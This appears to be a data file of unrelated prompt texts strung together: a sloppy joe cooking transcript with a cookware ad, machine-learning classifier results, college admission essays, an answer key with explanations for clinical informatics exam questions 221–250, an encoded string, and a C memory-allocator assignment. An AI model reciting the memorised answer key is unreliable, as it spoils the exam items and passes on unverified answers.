to a simmer reduce the heat to medium low and then think made in the sponsor of this video for making such a dope non-stick pan if you haven't heard of Maiden they're a cookware brand that partners with multi-generational factories and Artisans to help bring you a curated collection of materials and shapes that you need in your kitchen over the last year I've switched most of my cookware over to maiden and that's not just because they're a sponsor and I got some of it for free I mean that part was nice but I like the first few pieces that I got so much that I went out and spent some of my own money on a few more maiden's professional quality products are made for the home cook but their kitchenware is all also used in multiple Michelin starred restaurants because it's professional quality this 12-inch non-stick pan that I'm using in this video and all of maiden's non-stick products use the same composition of their five-ply stainless steel line that I love the non-stick surface is double cured made without pfoa it's non-toxic it's super easy to clean and bonus its oven safe up to 500 f plus it's held up really well for me which is amazing because I'm super hard on my cookware check out maiden's non-stick cookware using the link in my description for a limited time they're offering viewers of this video 15 off their first order with my link now for about 10 minutes I'm going to reduce the cooking liquid while also coming back intermittently with my meat musher to break the beef down even further cooking the meat with wet heat kind of braises it and allows the fat inside to render more fully making it more tender combine that with the soda and we're going to have very luscious very tender beef and after about 10 to 12 minutes of reduction when I come back and push my spatula through the sauce you can see it leaves a pretty wide Gap there's there's also going to be a bunch of beef fat sitting on top and that's totally okay just give this a vigorous stir and the AP flower that we used earlier will emulsify that fat into the sauce and you guys don't under reduce this sauce either if it's too loose the meat mixture won't hold itself together and it will literally just crumble off the sandwich into a pile on your plate that's too sloppy now the last step is to taste for salt levels and I think we got it babe let's try it real good now to make this into a sandwich I'll drop a non-stick pan over medium heat from there I'll brush a liberal amount of melted butter on the inside of a squishy store-bought brioche bun these little brioche joints are widely available and exceptionally soft way better for this sandwich in my opinion than those stale dry quote hamburger buns not for my burger bro next I'll pop my buttered bun in the pan and then give it a light toast on both sides this is going to bring some much needed crispiness to a sandwich that is normally just pure soft and once I've caught a little crisp around the edges like this I'll pull it out next I'll drop four to six ounces of my meat mixture and then I'll attempt to mitigate slop here by tidying the meat a little bit my hope is that piling it tall and tight will keep most of it on the bun and off of my wrist slash plate and there we go a not so sloppy sloppy joe oop I'll just tuck that in a little bit I'm in control here Joe or should I say Joseph wow you've really matured it used to be a total mess of a sandwich but now your beefy Savory a little bit spicy a little bit sweet and perfectly in Balance textually this sandwich is so different from the Joe's of your pass it's tender and juicy isn't the right word but I'll say pleasantly moist it's just a deluxe version of an otherwise very unglamorous sandwich and it's so much more flavorful than I expected let's eat this thing [Music] thank you" -'\\*\\*\\*\\*\\* Results on simple Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[1741 878 1152 807 1107 819]\n [ 892 1285 1072 1024 701 581]\n [ 461 1140 897 1238 1042 948]\n [ 913 905 831 1383 567 488]\n [ 950 703 718 596 1037 359]\n [1035 1071 1203 802 1457 2569]]\nPrecision: 0.2468211181158615\nRecall: 0.2526068890874613\nAccuracy: 0.2519506954653398\n\nRandom Forest Model Results\nConfusion metrics:\n[[1964 1605 849 957 1571 679]\n [ 833 1128 987 844 647 569]\n [ 502 904 975 628 800 425]\n [ 594 674 862 2185 491 197]\n [ 996 508 545 179 982 356]\n [1103 1163 1655 1057 1420 3538]]\nPrecision: 0.29688125350429995\nRecall: 0.30596584830915025\nAccuracy: 0.30453466018319575\n\nSVC Model Results\nConfusion metrics:\n[[1626 918 1031 916 1138 974]\n [ 833 1312 967 1072 786 519]\n [ 616 994 1016 919 1059 1007]\n [ 869 986 785 1563 617 282]\n [ 831 621 899 484 1063 470]\n [1217 1151 1175 896 1248 2512]]\nPrecision: 0.25373969686711395\nRecall: 0.25775061323730103\nAccuracy: 0.25703946624448715\n\n\\*\\*\\*\\*\\* Results on Translated Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[2025 966 725 541 1570 408]\n [ 735 1405 692 454 512 479]\n [ 583 987 1549 857 967 889]\n [ 703 1170 1433 3085 427 356]\n [1206 638 504 266 1965 444]\n [ 740 816 970 647 470 3188]]\nPrecision: 0.3678009727618709\nRecall: 0.37490681068657944\nAccuracy: 0.37365712993328054\n\nRandom Forest Model Results\nConfusion metrics:\n[[3138 1014 596 573 1915 486]\n [ 568 2610 797 256 182 400]\n [ 319 436 1393 540 372 577]\n [ 355 733 1284 3866 151 184]\n [1224 400 412 232 2751 385]\n [ 388 789 1391 383 540 3732]]\nPrecision: 0.49092909627804654\nRecall: 0.49515325688803613\nAccuracy: 0.494458894040484\n\nSVC Model Results\nConfusion metrics:\n[[3608 1408 761 693 1886 671]\n [ 385 2623 897 449 79 409]\n [ 305 905 2169 710 371 829]\n [ 38 389 762 3651 30 126]\n [1418 445 575 220 3422 512]\n [ 238 212 709 127 123 3217]]\nPrecision: 0.549470076110426\nRecall: 0.5285130151687205\nAccuracy: 0.5283840325681329\n\n\\*\\*\\*\\*\\* Results on Rotated Vectors \\*\\*\\*\\*\\*\nDecision Tree Model Results\nConfusion metrics:\n[[1618 857 979 793 1187 958]\n [ 990 1342 1030 1248 724 714]\n [ 673 1053 989 972 837 879]\n [ 727 961 854 1712 696 335]\n [ 945 592 1014 449 1226 375]\n [1039 1177 1007 676 1241 2503]]\nPrecision: 0.262659264368205\nRecall: 0.26617844624148485\nAccuracy: 0.2654642089788533\n\nRandom Forest Model Results\nConfusion metrics:\n[[2001 1806 840 1032 1363 492]\n [ 792 1215 1194 941 787 754]\n [ 517 766 716 793 615 391]\n [ 722 481 842 1955 550 236]\n [ 770 537 521 221 1021 419]\n [1190 1177 1760 908 1575 3472]]\nPrecision: 0.2855674922253578\nRecall: 0.2947074581349854\nAccuracy: 0.2934524482641637\n\nSVC Model Results\nConfusion metrics:\n[[3072 1515 996 663 2320 771]\n [ 530 1972 752 681 282 552]\n [ 252 904 2038 956 601 847]\n [ 81 384 710 3084 63 125]\n [1673 668 617 257 2500 520]\n [ 384 539 760 209 145 2949]]\nPrecision: 0.46541594945351017\nRecall: 0.44184910011243966\nAccuracy: 0.44145086509103243' -'Given these four college admission prompts and essays John Doe wrote, write a compelling 650-word narrative about how John will use his diverse experiences, community-building skills, and passion for solving problems to be a great computer science student in the University. This narrative should be written in first-person POV and use the takeaways from great personal statements above. \n\nPrompt: Please describe how you have prepared for your intended major, including your readiness to succeed in your upper-division courses once you enroll at the university.\n\nEssay: I’ve demonstrated readiness to succeed in upper-division computer science courses with both classroom and real-world experience. I took AP Computer Science & 6 courses in community college, and will complete 3 more before transferring. I gained mobile development experience through my internship, learned several frameworks through extra-curricular projects, and participated in 4 hackathons. This November, my team became a finalist for the Google Health Case Competition working on improving patient adherence to tailored nursing care-plans.\n\nAs an aspiring programmer, I looked to community college courses to build on my foundation from AP Computer Science. These courses explored the depths and complexity of CS. In Data Science (CIS-9), we used NumPy and Pandas (Python libraries) with a touch of machine learning to perform data analysis. In Assembly (CIS-21JA), we translated common Python functions to assembly instructions to understand how code executes on the CPU. These rigorous courses required constant engagement in novel areas and vastly improved the breadth and strength of my CS foundation.\n\nIn my internship I looked forward to being a productive software engineer, and also understanding how a team turns an idea into a polished product. To prepare, I built SuppStack, a website for users to share their nutritional supplements. I learned about the core components of a website: backend (NodeJS & Express), frontend (ReactJS & Tailwind), and database (MySQL). In my internship, I learned programmatic collaboration skills through Git (version control software), worked with PM & Design, and structured effective timelines. As the lead intern, I implemented user-authentication, led migration to Expo Go (a platform that allows us to deploy code instantly), and mentored other interns by supervising & advising them through their projects. I collaborated effectively and learned the development structure of polished apps. \n\nThrough my courses, projects, and internship, I’ve developed my foundation and discipline to tackle complex topics in upper-division courses. I know computer science skills are a tool to solve problems beyond the screen– like issues in healthcare we began exploring in our Google Health Case Competition. I’m eager to build these skills as I progress through UC.\n\n-----\n\nPrompt: What have you done to make your school or your community a better place?\nEssay: I’ve spent over 150 hours in 2 years volunteering for 7 Cups, a counseling organization. I connected with teens as a listener to support them through mental illnesses. Concurrently, I learned more about mental illnesses and three psychotherapies through two community college classes, piles of books, and discussions with professionals. Finally, I mentored other volunteers– and taught them how to mentor, expanding impact. \nEarly on, I connected with a teen named Kinga (altered for confidentiality). We talked to combat her alcoholism, supplementing her sessions with her therapist. Inspired by her, and to improve my listening, I read resources including The Molecule of More, Motivational Enhancement Therapy Manual, The Big Book of AA. I also took classes at community colleges, PSYC1 - General Psychology and PSYC4 - Abnormal Psychology, to better understand psychotherapies. After a year working together, Kinga texted me: “I think [connecting with] you allowed me to stop thinking that every human being is evil with bad intentions, and I’ve been able to surround myself with great people.” She’s over a year sober, picking up pastel art and ballet again, and drastically improving her relationships with family and friends.\nA third of the time I listened to teens, they expressed dissatisfaction with previous listeners. As one of the more experienced volunteers, I took on improving listener training. Growing through leadership roles, I became a listener coach. I personally mentored 12 listeners for over half a year to improve their listening and knowledge of different illnesses. I also taught them how to mentor, reaching over 50 other volunteers. Finally, I spearheaded discussions on adapting psychotherapy techniques to issues, ex. CBT for exercise motivation, that taught over 70 more listeners.\nMy community-building ability fostered strong long-term relationships with 11 teens, like Kinga, to help them manage mental illnesses. I also helped over 40 others with short-term problems. I’m eager to continue fostering strong relationships using my community building skills. UC schools offer many opportunities to deepen these skills and connect through community service. Community strengthening with UC students through clubs like UCLA’s DevX and Berkeley’s BluePrint would be fantastic.\n\n-----\n\nPrompt: What would you say is your greatest talent or skill? How have you developed and demonstrated that talent over time?\nEssay: My greatest skill is turning curiosity into passion. I first did this with 6 years in Chess; I became an expert level player and consistently ranked in the US top 70 for my age. Along the way, I was a three-time state champion and finalist, won an international tournament, and won over $10,000. As a wrestler, I also quickly advanced to varsity-level, despite being new to wrestling with no athletic background.\n\nIn chess, I spent almost every moment I could preparing to compete. On a school-day, I woke up at 6:30 and practiced tactics/calculation for an hour. After school, I went to our living room computer to play the daily online blitz tournament. After finishing my homework, I was back to studying books like Dvoretsky’s Endgame Manual and Jacob Aagaard’s series on middlegames. Even if I wasn’t motivated one day, I always showed up. \n\nFor wrestling, I initially focused on technical knowledge about the sport and athletic performance. I consumed books and recorded matches, filled scrap pages with notes and even asked my coach so many questions that he limited me to three per practice. Outside of practice, I trained and cooked based on research about maximizing athletic performance. Training in chess first taught me to explore the details that go into mastery.\n\nMy first match of my senior season (second-year) was against a 4 star recruit. Like chess, I started to get caught up in a flow state. I saw my opponent kept too much weight on his lead leg and had a very narrow stance. I dominated the first two periods as I used this information to score takedowns with ankle picks and a blast double. All my decisions started to become coldly calculated based on precision. Wrestling, much like Chess, was now a science of the small details.\n\nJust like I immersed myself in Chess and Wrestling, I do the same in my academic pursuits. I start by breaking them down to sub-problems, learn from more-experienced individuals, and practice solving multiple variations. I really enjoy turning curiosity into passion.\n\n-----\n\nPrompt: Describe an example of your leadership experience in which you have positively influenced others, helped resolve disputes, or contributed to group efforts over time.\nEssay: During senior year, I coached a group of ten elementary students (ages 7-9) in Chess. It was a self-motivated initiative. I launched it in response to neighborhood children who were excited to find out I won over $10,000 playing in chess tournaments. I led them from learning to move their first pieces to their first scholastic chess tournament. In the process, I learned to build relationships and create a dynamic learning environment. \nIn the beginning, classes were terrible. I’m a varsity athlete, a focused student, and try to face challenges head-on. But every week ten kids would come eager to learn, and I was terrified. I was a three-time state finalist, but accolades didn’t matter here. I struggled to structure classes and connect with students. I freestyled classes, finding kids quietly uninterested. My students Diya and Rohan often looked particularly blank.\nFrustrated, I contacted my first chess coach for advice. He talked about our strengths/weaknesses, interests outside of chess, and favorite moments with all of us; it was sweet… but seemingly useless. Only after discussing this conversation with a friend did I realize my coach was successful because of his bond with us.\nMoving forward, I made efforts to learn about my students and welcome natural relationships. I spent time one-on-one and in smaller groups during breaks and after classes. We played games like tag, Monopoly, and chess (but I was blindfolded!). Reticent students soon became expressive learners, sharing their explorations of constellations, cooking, the world of Harry Potter, and more. By connecting with the kids, I enabled an open inquisitive environment. Diya recounted her little brother’s antics and Rohan shared karate techniques. \nI compiled an array of Chess books and videos to create a curriculum. In the five months before their first tournament, my students learned tactical ideas as well as openings like the Scotch and Ruy Lopez. At the tournament, all had positive records. Three kids placed top 10 in the beginner division. They went from distracted individuals to motivated players. And my role transformed from disengaged instructor to connected mentor.' -'221\nTHE ANSWER IS A. Depreciation is an accounting method of allocating the cost of a tangible asset over its useful life. The direct materials budget is part of the operating budget for purchasing raw materials. An MRI machine is expected to last more than one year, and would therefore be on the capital budget, and not an operating expense. A mortgage is a many-year loan used to buy large items, usually real estate. (REF 4.5.5 Capital and operating budgeting)\n222\nTHE ANSWER IS A. When the results of a study are dichotomous and dramatic, it is often termed an all-or-none study. This particular study could also be called a case series or perhaps even a method paper, but these were not among the options. Ethics violations arise when patients are subjected to substandard care. In this case, there is no available cure or treatment for macular degeneration, so as long as patients consented to treatment, there are no ethical problems. Ecological studies involve studying at least one variable at the population level. (REF: Section 2.2.1 - Evidence Sources)\n223\nTHE ANSWER IS B. DICOM is a set of protocols and file formats used for transfer of medical images. Ethernet Cat-6 is a cabling specification to support gigabit transmission speeds. The W3C helps define standards for the world wide web. (REF 3.4.1 - Standards Development)\n224\nTHE ANSWER IS D. Instituting a significant change for a small part of the population would not be as effective as initiating a modest change for the majority of the population. In this question , choice A reflects making a big change for few people, while choice D would make a modest change for many people. Choice C is actually very similar to choice A in that it would make a big difference to very few people. Choice B offers a modest benefit to a small population. (REF: 1.2.1 - Determinants of health)\n225\nTHE ANSWER IS B. A strategy is the means by which an organization sets out to achieve its goals. A resource is a tangible or intangible aspect of the organization which can be used for this task. A value chain is a set of activities that an organization performs in order to deliver a product or service. Vision is the ideal that the organization pursues. (REF 4.5.3 – Strategy Formulation)\n226\nTHE ANSWER IS D. The SQL UPDATE command is used to modify an existing table. In this case, we want to change the Last\\_Name field of the record with id=3 to ‘Mankowitz’. Choice C will update all records to have Last\\_Name ‘Mankowitz’. Choice B will delete a record from the table. The ALTER TABLE command is used to modify the schema. As written, this command will generate a syntax error. (REF 3.1.5 - Data)\n227\nTHE ANSWER IS A. The peer-review process means that experts in the field of study review manuscripts before they are published. It is a hallmark of respected journals. The other choices are all false. (REF: 1.1.3 - Clinical Informatics Literature)\n228\nTHE ANSWER IS B. Only licensed surgeons may perform complex surgical operations. Physician assistants are allowed to assist in these operations as long as they are supervised by a physician. Nurse practitioners are allowed to perform some invasive procedures without supervision (depending on the state). Any provider of medical care may be sued for malpractice. All providers are required to complete some degree of continuing education. Many non-physician providers possess doctoral degrees. (REF: 1.2.2.4 - Education of health professionals)\n229\nTHE ANSWER IS A. A manager makes a make-or-buy decision when he decides whether goods or services should be made by the organization, or bought from an outside party. This decision is usually based on cost and availability of resources (such as staff expertise). It does not take into account other market forces, such as a competitor’s market share.\xa0 (REF: Section 4.4.2 Project Management – Identifying resources)\n230\nTHE ANSWER IS B. The reduction of waste (non-value-added processes) is the hallmark of the LEAN methodology. Delphi is a method of obtaining group consensus. Plan-Do-Study-Act (PDSA) is the most common method of quality improvement. Six-sigma seeks to improve processes until defects are so rare that they represent six standard deviations from the mean. (REF 2.3.3 Quality Improvement)\n231\nTHE ANSWER IS A. The BlueButton Initiative was one of the first attempts to allow patients to download their medical information. It was developed at the Veterans Affairs\xa0 hospitals for use in their EHR, called VistA. The CCD is a standard developed by HL7 and is a constrain on the RIM. It became popular when it was included in the Meaningful Use criteria. (REF 3.4.1 - Standards Development)\n232\nTHE ANSWER IS C. Hospitals, like other service industries, spend most of their capital on labor costs, so minimizing those costs increases revenues. Product innovation and customer loyalty may be important goals, but are not HRM tasks. Decreasing revenues is not an objective. (REF: 4.2.1 - Human Resources)\n233\nTHE ANSWER IS B. As time goes on, bugs become easier to find, but harder to fix because of the numerous moving parts. Warranties are sometimes, but not always provided with software, and tend to have limited support options. Testing a running system is a form of dynamic testing. Static testing involves reviewing source code. By definition, implementation means a running system, which makes static testing a poor answer.\xa0 (Ref 3.5.4 - Clinical information system testing)\n234\nTHE ANSWER IS D. A service which can be provided on a large scale is not valuable, rare, inimitable or specific to the organization. The other choices all contain an aspect which makes the product hard to replicate. (REF 4.5.3 – Strategy Formulation)\n235\nTHE ANSWER IS C. Criteria for de-identification are based on how hard it would be to re-identify a patient based on bits of data. Since dates of birth are often found in public records, it is much more susceptible to re-identification than, say, account numbers which are only found in patient records and hospital information systems. While choices B and D are true, they are not relevant to this question. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n236\nTHE ANSWER IS C. Of the three requests listed, the RFQ is the most basic, and is used when the nature of the product is already known and the purchaser is simply negotiating price. An RFP is a formal document which explains, in detail, an organization’s needs and typically includes a thorough response from a vendor. An RFI is a shorter, less formal document of the same nature. The SDLC is a systematic method of designing and building systems. (REF: Section 3.5.2 - Clinical Information Needs Analysis)\n237\nTHE ANSWER IS B. This question tests a simple definition, but even if you did not know the answer, you should be able eliminate some choices. (REF: Section 4.6.2 - Change Theories)\n238\nTHE ANSWER IS D. Heuristics allow people to solve problems and make judgments quickly and efficiently, but they are also prone to errors. Cognitive bias often results from heuristics and can lead to systematic deviations from a standard of rationality or good judgment.\xa0 Decision support tools are designed to optimize results by providing additional information or alerting a clinician to the need for additional information. Likewise, Bayes Theorem is designed to optimize decision making. It does this by taking into account the pretest probability of a condition, while interpreting the results of testing. (REF Section 2.1.1 - The nature and cognitive aspects of decision making)\n239\nTHE ANSWER IS D. This is a confusing question, but it illustrates some points about nonsemantic concept identifiers. First of all, semantic concept identifiers can help the reader understand a concept’s place in the hierarchy. For example, ICD-10 is a hierarchical terminology. The code W21 corresponds to being hit by a ball. The code W21.01 corresponds to being struck by a football. W21.02 is a soccer ball. W21.03 is a baseball. Suppose we wanted to extend the hierarchy to include all kinds of sports injuries, including being hit by a jai-alai ball or a medicine ball. At some point, we’d either run out of numbers or we’d have to change the coding system. This is why choice B is a good argument. Now suppose we decide that we want to group all football injuries together, such as being tackled, which is Y93.61. Unfortunately, this code is found in a completely different hierarchy and can’t be found within the W21 group, which is why C is a good reason. Similarly, choice A explains the next step in this argument. Suppose we did reclassify all football injuries into the same heading. As long a we respect concept permanence (concepts can not be deleted), we would now have an orphan code of Y93.61. Finally, we are left with choice D. At one point, when computing power was relatively expensive, using integer codes was much more efficient. With modern systems, the difference is less important. Although D is a reasonable choice, it is the weakest argument among those listed. (REF: 3.4.6 Ontologies and Taxonomies)\n240\nTHE ANSWER IS D. Using the formula for the positive predictive value, \nPPV=TP / (TP+FP)\n19/(19+1) = 95%\n(REF: Section 2.1.2 - Decision Science)\n241\nTHE ANSWER IS C. There are many approaches to managing change, but all include the formation of a group of leaders to spearhead the mission. Effective change requires buy-in from all stakeholders. If rank and file employees are unaware of the ultimate goals of the change, they are less likely support the process. Similarly, if employees are not empowered to make decisions, the entire process will slow down whenever it encounters a new variable. Short term wins should be in line with the corporate vision, but should not be used to define the vision. The vision should already be in place before short term wins are achieved. (REF 4.6.3 Change Management Strategies)\n242\nTHE ANSWER IS A. Operational expenses (opex) are usually funded with cash flow. Capital budgets are funded with retained earnings, debt or equity. (REF 4.5.5. Capital and operating budgeting)\n243\nTHE ANSWER IS B. The OSI model contains seven layers. The lowest layer is the physical layer, such as network cabling. The highest level is the application level. In the middle are levels for networking, authentication, session management, presentation and other technologies. (REF 3.1.3 - Networks)\n244\nTHE ANSWER IS D. The project charter is the output from the initiating phase of integration management. Note that it is not necessary to know that we are talking about integration management, because the only other activity in the initiating phase is identification of stakeholders. HR Planning and the creation of the project team is done in the HR knowledge area. Both procurements and creating the team are part of the execution phase. (REF: Section 4.4.1 Project Management Basics)\n245\nTHE ANSWER IS D. A/B testing presents users with two alternatives and measures their acceptance. It can be done on a large scale (such as with web sites) or a smaller scale with individual interviews. (REF: Section 3.2.2 - HCI Evaluation)\n246\nTHE ANSWER IS A. The distinction between conflict management and conflict resolution is that conflict management seeks to preserve the positive aspects of conflict while conflict resolution seeks to remove the conflict entirely. The other choices are all true, but do not reflect the difference between resolution and management. (REF: 4.1.4 Conflict Management)\n247\nTHE ANSWER IS D. Keystroke-Level Model is a type of HCI analysis that focuses on how the keyboard and mouse are utilized. Mental preparation is considered part of the action. Sketching would not be included in this kind of analysis. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n248\nTHE ANSWER IS C. In a double-blind study, neither the investigator nor the subject knows which study arm they are in. The other choices may represent also represent flaws. (REF: Section 2.2.1 - Evidence Sources)\n249\nTHE ANSWER IS D. A method paper (also called an application paper) describes a novel technique or procedure. Choices A and C represent case reports. Choice B is probably original research. (REF: Section 2.2.1 - Evidence Sources)\n250\nTHE ANSWER IS A. CDS has shown benefits in diagnosis, treatment guidelines, clinical pathway adherence. Unfortunately, data on patient outcomes, physician efficiency and errors in data entry are lacking. (REF: 2.1.3 - Application of CDS)' -'this returns a long string:\n\n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' -"Context on DMalloc:\nAssignment Roadmap\nThis section describes the main functionality required for the debugging allocator, ordered from simpler to more complex and from low-numbered to high-numbered tests.\n\nStatistics\nIn the stencil code there is a function print\\_statistics() that uses the information stored in a statistics struct to print out statistics about all the memory allocations so far.\n\nThe statistics struct is defined as follows (see dmalloc.hh):\n\nstruct dmalloc\\_stats {\n unsigned long long nactive; // number of active allocations [#malloc - #free]\n unsigned long long active\\_size; // number of bytes in active allocations\n unsigned long long ntotal; // number of allocations, total\n unsigned long long total\\_size; // number of bytes in allocations, total\n unsigned long long nfail; // number of failed allocation attempts\n unsigned long long fail\\_size; // number of bytes in failed allocation attempts\n uintptr\\_t heap\\_min; // smallest address in any region ever allocated\n uintptr\\_t heap\\_max; // largest address in any region ever allocated\n}; \nIt is up to you to fill in the function get\\_statistics(statistics \\*stats) so that accurate information is stored in an instance of dmalloc\\_stats. To do this, think about using a global variable that holds a struct and which any calls to dmalloc() and dfree(ptr) update.\n\nTask: Implement the get\\_statistics function in dmalloc.cc.\n\nHints!\nMost of these statistics are easy to track, and you should tackle them first (start by passing tests 1-5 and 7-10).\n\nThe trickier test is active\\_size. To track this information, your dfree(ptr) implementation must find the number of bytes allocated for the block pointed to by ptr. This is because after a block is freed, active\\_size should decrease by the size of that block.\n\nThe easiest, and probably best, way to do this is for your dmalloc code to request more space than the user required when it calls base\\_malloc. This extra space will allow you to store metadata about the allocated block alongside it. This metadata can store a structure you define yourself, and it should keep track of the allocated block size. As you write your debugging allocator, you may realize you want to store other information as well. The metadata will be stored at the beginning of an allocated block, but dmalloc should still return a pointer to the “payload” of the block, i.e., to the space after the metadata. You will need to use pointer arithmetic to return a pointer that 